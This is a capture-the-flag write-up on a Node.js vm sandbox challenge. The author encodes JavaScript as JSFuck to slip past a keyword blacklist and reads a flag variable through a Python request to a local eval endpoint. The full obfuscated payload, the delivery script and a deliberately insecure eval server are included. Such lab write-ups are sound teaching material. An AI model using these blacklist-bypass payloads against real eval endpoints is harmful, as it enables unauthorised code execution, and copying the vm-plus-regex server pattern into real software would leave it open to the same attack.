VM

```
import express from 'express';
import vm from 'vm'

const app = express();
app.use(express.json());

const FLAG = "flag{REDACTED}";

app.post('/eval', (req, res) => {
    const { code } = req.body;

    if (typeof code !== 'string') {
      return res.status(400).send('Invalid code');
    }
    if (/flag|FLAG|global|require|constructor|Function/.test(code)) {
      return res.status(400).send('Disallowed code');
    }

    const context = { flag: FLAG };
    vm.createContext(context);

    try {
      const result = vm.runInContext(code, context, { timeout: 1000 });
      res.send(String(result));
    } catch (err) {
      res
        .status(500)
        .send(`Error during execution: ${err.message}\n${err.stack}`);
    }
  });


app.listen(3000, () => console.log('Listening on port 3000'));
```

So, here I need to solve the JS sandbox and when I started this environment, it said

```
listening on port 3000
```

which meant now I will have to have a script to send data to this endpoint, because other than that there is no way to send input.

so using the python3 request library I created a small script which sends data

```
import requests

url = "http://localhost:3000/eval"
payload = {"code": ""}
try:
    response = requests.post(url, json=payload)
    print("Status:", response.status_code)
    print("Response:", response.text)
except requests.exceptions.ConnectionError:
    print("Error: Could not connect to localhost:3000")
except Exception as e:
    print(f"Error: {str(e)}")
```

So, as I do not have much knowledge about Javascript, the only thing I know is that everything is an object in javascript if I remeber correctly so there might be something named Object

Also I see there is a blacklist that I need to avoid, but there is no protecting for encoding so I just used a website to encode it, surprisingly it was working I tried with a basic 1+1 command

```
[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+
[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+
[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+
[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]
((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+
(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+!+[]]+(!![]+[])[+
[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!!
[]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([]
[(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+
(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+
[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+
[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])
[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+
[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])
[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+
[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()(([]+
[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]
[[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+
[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+
[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+
[]]]()[+!+[]+[!+[]+!+[]]]+[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+
[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+
[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+
[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])
[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+(+(+!+[]+(!+[]+[])
[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[!+[]+!+[]]+([]+[])[(![]+[])[+[]]+(!!
[]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+
[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(!
[]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+
[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+
[]]]+[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])
[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])
[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+
[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+
[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])
```

Yeah, not at all required but why not, so this gave me a result of 11, which was supposed to come.

Then I looked on the internet and found out about using `Object.keys(this)` and this gave out us a variable named flag, which I guess is our target. So, now we just need to access it and we can access it easily by just indexing it `this[Object.keys(this)[0]]` , and `this` helps us to open the file and get the value.

I did not understand it completely but I kind get what it means I guess even this["flag"], might also work but yeah first we need to encode it.

so this is the final script

```
import requests

url = "http://localhost:3000/eval"
payload = {"code": "[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!!
[]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+
[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])
[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!!
[]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([]
[[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+!+[]]+
(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+
[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+
[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[]
[(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+
[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])
[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])
[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(!
[]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+
(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!
[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(!
[]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+
[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+
(![]+[])[!+[]+!+[]])()([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+
(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])
[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!!
[]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+
[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+
[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+
[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+
(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+
[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[]
[(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+
[]+!+[]]]+((!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+
[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+
[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+
[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+
[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!!
[]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+
[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]])[(![]+[])
[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+
[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])
[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+
[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+
[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+
[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!!
[]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+
[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])
[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!!
[]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+
[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+
[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+
[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+
[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+
(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]]
(([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]
[[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([]
[[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+
[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+
[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+
[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+
[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+
[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+
[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!!
[]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+
[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+
(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([]
[(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[]
[(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])
[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+
[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+
[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(!
[]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])
```

```
[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]()
[+!+[]+[!+[]+!+[]]])())"}
try:
    response = requests.post(url, json=payload)
    print("Status:", response.status_code)
    print("Response:", response.text)
except requests.exceptions.ConnectionError:
    print("Error: Could not connect to localhost:3000")
except Exception as e:
    print(f"Error: {str(e)}")
```

and the response was

```
Status: 200
Response: flag{REDACTED}
```

Done.

One more to go..